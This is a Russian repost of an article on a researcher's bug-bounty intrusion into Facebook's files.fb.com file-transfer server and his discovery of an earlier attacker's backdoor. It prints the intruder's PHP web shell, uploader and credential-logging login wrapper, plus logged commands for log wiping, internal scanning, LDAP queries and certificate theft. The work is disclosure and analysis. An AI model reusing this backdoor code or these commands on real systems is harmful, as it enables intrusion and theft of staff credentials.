SavePearlHarbor

Как я взломал Facebook и обнаружил чужой бэкдор

—

от автора

admin

Исследователь по безопасности Orange Tsai взломал один из серверов Facebook и обнаружил бэкдор для сбора учетных записей сотрудников компании, оставленный злоумышленником.

Как пишет исследователь в своем блоге, его всегда больше привлекали сервер-сайд атаки, нежели клиент-сайд (XSS и т.д).

В 2012 году Facebook запустил BugBounty программу, которая побудила исследователя принять участие в поиске уязвимостей на серверах этой популярной социальной сети.

В первую очередь проводится этап разведки и сбора информации, или т.н. recon по объекту атаки.

Исследователь поставил себе несколько целей:

  • Что можно обнаружить с помощью запросов Google Hacking?;
  • Сколько используется подсетей класса B и C?;
  • Whois, reverse-ip и axfr запросы;
  • Используемые доменные имена, поддомены;
  • Программное и техническое оснащение оборудования (вендоры, версии ПО и т.д.);
  • Возможные утечки исходных кодов на сервисах Github или Pastebin
  • И т.д.

BugBounty программа обычно имеет четкие границы и ограничения, но тем не менее, исследователь решил поискать на сетевом периметре уязвимые сервисы, возможно и не входящие в скоуп BugBounty, но тем не менее напрямую влияющие на безопасность инфраструктуры самой популярной в мире социальной сети.

Используя технику reverse whois им был обнаружен интересный домен — tfbnw.net. По данному названию он предположил что имеет дело с TheFacebook Network.

На этом домене располагался поддомен vpn.tfbnw.net, на котором находился веб-интерфейс Juniper SSL VPN. К сожалению исследователя эта версия не содержала публичных уязвимостей. Тем не менее, исследовав эту подсеть C-класса он обнаружил несколько интересных сервисов:

  • Mail Server Outlook Web App;
  • F5 BIGIP SSL VPN;
  • CISCO ASA SSL VPN;
  • Oracle E-Business;
  • MobileIron MDM;

Также, среди этих IP-адресов был обнаружен сервер files.fb.com. Судя по футеру веб-приложения использовался Accellion’s Secure File Transfer (также известный под аббревиатурой FTA):

FTA является продуктом, который обеспечивает безопасную передачу файлов, общий доступ к файлам и синхронизации, а также интеграцию с механизмами входа в систему, включая AD, LDAP и Kerberos. Версия Enterprise поддерживает службы SSL VPN.

Исследователь попытался найти актуальный публичный эксплоит для этой уязвимости и обнаружил упоминание об уязвимой версии 0.18 (Accellion File Transfer Appliance Vulnerabilities (CVE-2015-2856, CVE-2015-2857).

Версию можно определить запросом “/tws/getStatus”. На сайте была установлена последняя версия — 0.20, не содержащая вышеописанных уязвимостей.

Если не получилось найти уязвимости методом черного ящика — их можно попытаться найти белым. Исследователь скачал исходные коды FTA и приступил к поиску уязвимостей в этом продукте.

Исследовав приложение, было сделано несколько выводов:

  • Веб-интерфейс представляет из себя комбинацию Perl и PHP;
  • PHP был обфусцирован с помощью IonCube;
  • Использовалось множество Perl-демонов.

В первую очередь исследователь попытался снять защиту IonCube, но используя публичные инструменты ему этого не удалось. Также, он предположил что Rapid7 обнаружили поверхностные уязвимости и копать надо гораздо глубже.

Результатом исследований FTA стало нахождение:

  • 3 уязвимости класса XSS;
  • Pre-Auth SQL-инъекция приводящая к удаленному выполнению кода (Remote Code Execution);
  • Предиктивный secret-key, приводящий к удаленному выполнению кода (Remote Code Execution);
  • 2 уязвимости, приводящие к локальному повышение привилегий (Local Privilege Escalation).

Помимо отправки сообщения об уязвмостях в Facebook Security Team, были отправлены соответствующие уведомления и вендору уязвимого ПО — компании Accellion. Уязвимостям присвоены следующие CVE:

  • CVE-2016-2350
  • CVE-2016-2351
  • CVE-2016-2352
  • CVE-2016-2353

(Больше деталей будет раскрыто после применения политики раскрытия/неразглашения уязвимостей).

Т.н. «залитие шелла» с помощью sql-injection:

После получения доступа к серверу исследователь выполнил вполне предсказуемые шаги по изучению серверного окружения для минимизации обнаружения. Им были обнаружены:

  • Блокировка исходящих TCP и UDP соединений на порты 53, 80 и 443;
  • Удаленный сервер Syslog;
  • Включенный журнал auditd.

Несмотря на запрещающие правила фаервола для исходящих соединений исследователю удалось установить соединение с помощью ICMP-туннеля.

После того, как исследователю удалось установить приемлемый контроль над веб-сервером он обнаружил некоторые странные сообщения об ошибках в логах /var/opt/apache/php_error_log:

Исследовав сообщения об ошибках и перейдя в затронутые директории он обнаружил веб-шелл, оставленный предыдущим «посетителем».

Содержимое некоторых «интересных» файлов:
sshpass 

Right, THAT sshpass

bN3d10Aw.php 

<?php echo shell_exec($_GET['c']); ?>

uploader.php 

<?php move_uploaded_file($_FILES["f]["tmp_name"], basename($_FILES["f"]["name"])); ?>

d.php 

<?php include_oncce("/home/seos/courier/remote.inc"); echo decrypt($_GET["c"]); ?>

sclient_user_class_standard.inc 

<?php include_once('sclient_user_class_standard.inc.orig'); $fp = fopen("/home/seos/courier/B3dKe9sQaa0L.log", "a");  $retries = 0; $max_retries = 100;   // blah blah blah...  fwrite($fp, date("Y-m-d H:i:s T") . ";" . $_SERVER["REMOTE_ADDR"] . ";" . $_SERVER["HTTP_USER_AGENT"] . ";POST=" . http_build_query($_POST) . ";GET=" . http_build_query($_GET) . ";COOKIE=" . http_build_query($_COOKIE) . "\n");   // blah blah blah...

В include_once последнего файла содержится вызов «штатного» файла sclient_user_class_standard.inc.orig для проверки пароля. Злоумышленник использовал модифицированный файл в качестве своеобразного прокси для сбора GET и POST запросов, значения COOKIES в plain-text.

Неизвестный злоумышленник формировал лог-файл, который без труда можно было получить со взломанного веб-сервера: 

wget https://files.fb.com/courier/B3dKe9sQaa0L.log

Пример перехваченной учетной записи:

C 1 по 7 февраля было перехвачено порядка 300 учетных записей пользователей "@fb.com" и "@facebook.com":

  • Обычные пользователи — учетные записи хранятся в БД и шифруются «солёным» SHA256.
  • Сотрудники Facebook (@fb.com) авторизуются по протоколу LDAP.

Данные, полученные злоумышленником могли привести к компрометации смежных сервисов (VPN, OWA и т.д.).

Исследователь отмечает, что действия злоумышленника были довольно небрежными, что говорит о его непрофессионализме.

Каждые несколько дней злоумышленник чистил логи:

192.168.54.13 - - 17955 [Sat, 23 Jan 2016 19:04:10 +0000 | 1453575850] "GET /courier/custom_template/1000/bN3dl0Aw.php?c=./sshpass -p '12069238df' ssh -v -o StrictHostKeyChecking=no soggycat@localhost 'cp /home/seos/courier/B3dKe9sQaa0L.log /home/seos/courier/B3dKe9sQaa0L.log.2; echo > /home/seos/courier/B3dKe9sQaa0L.log' 2>/dev/stdout HTTP/1.1" 200 2559 ...

Архивировал файлы:

cat tmp_list3_2 | while read line; do cp /home/filex2/1000/$line files; done 2>/dev/stdout tar -czvf files.tar.gz files

Исследовал внутреннюю сеть:

dig a archibus.thefacebook.com telnet archibus.facebook.com 80 curl http://archibus.thefacebook.com/spaceview_facebook/locator/room.php dig a records.fb.com telnet records.fb.com 80 telnet records.fb.com 443 wget -O- -q http://192.168.41.16 dig a acme.facebook.com ./sshpass -p '********' ssh -v -o StrictHostKeyChecking=no soggycat@localhost 'for i in $(seq 201 1 255); do for j in $(seq 0 1 255); do echo "192.168.$i.$j:`dig +short ptr $j.$i.168.192.in-addr.arpa`"; done; done' 2>/dev/stdout ...

Использовал ShellScript для сканирования внутренней сети, но забыл перенаправить STDERR:

Пытался соединиться с LDAP-сервером:

sh: -c: line 0: syntax error near unexpected token `(' sh: -c: line 0: `ldapsearch -v -x -H ldaps://ldap.thefacebook.com -b CN=svc-accellion,OU=Service Accounts,DC=thefacebook,DC=com -w '********' -s base (objectclass=*) 2>/dev/stdout'

Пытался получить прямой доступ к OWA:

--20:38:09--  https://mail.thefacebook.com/ Resolving mail.thefacebook.com... 192.168.52.37 Connecting to mail.thefacebook.com|192.168.52.37|:443... connected. HTTP request sent, awaiting response... 302 Found Location: https://mail.thefacebook.com/owa/ [following] --20:38:10--  https://mail.thefacebook.com/owa/ Reusing existing connection to mail.thefacebook.com:443. HTTP request sent, awaiting response... 302 Moved Temporarily Location: https://mail.thefacebook.com/owa/auth/logon.aspx?url=https://mail.thefacebook.com/owa/&reason=0 [following] --20:38:10--  https://mail.thefacebook.com/owa/auth/logon.aspx?url=https://mail.thefacebook.com/owa/&reason=0 Reusing existing connection to mail.thefacebook.com:443. HTTP request sent, awaiting response... 200 OK Length: 8902 (8.7K) [text/html] Saving to: `STDOUT'       0K ........                                              100% 1.17G=0s  20:38:10 (1.17 GB/s) - `-' saved [8902/8902]  --20:38:33--  (try:15)  https://10.8.151.47/ Connecting to 10.8.151.47:443... --20:38:51--  https://svn.thefacebook.com/ Resolving svn.thefacebook.com... failed: Name or service not known. --20:39:03--  https://sb-dev.thefacebook.com/ Resolving sb-dev.thefacebook.com... failed: Name or service not known. failed: Connection timed out. Retrying.

Пытался украсть корневой ssl-сертификат:

sh: /etc/opt/apache/ssl.crt/server.crt: Permission denied ls: /etc/opt/apache/ssl.key/server.key: No such file or directory mv: cannot stat `x': No such file or directory sh: /etc/opt/apache/ssl.crt/server.crt: Permission denied mv: cannot stat `x': No such file or directory sh: /etc/opt/apache/ssl.crt/server.crt: Permission denied mv: cannot stat `x': No such file or directory sh: /etc/opt/apache/ssl.crt/server.crt: Permission denied mv: cannot stat `x': No such file or directory sh: /etc/opt/apache/ssl.crt/server.crt: Permission denied mv: cannot stat `x': No such file or directory sh: /etc/opt/apache/ssl.crt/server.crt: Permission denied base64: invalid input

После проверки в браузере видно, что files.fb.com подписан сертификатом fb.com:

Исследователь сообщил о выявленной уязвимости и активности злоумышленника на сервере техническим специалистам компании Facebook. Анализ логов показал что было два вторжения в систему — в июле и сентябре. Был ли это один и тот же злоумышленник — неизвестно. Июльский инцидент произошел как раз в момент появления эксплоита к вышеуказанной CVE-2015-2857 от Rapid7 в составе Metasploit Framework.

ссылка на оригинал статьи https://habrahabr.ru/post/282179/

Комментарии

Добавить комментарий

Ваш адрес email не будет опубликован. Обязательные поля помечены *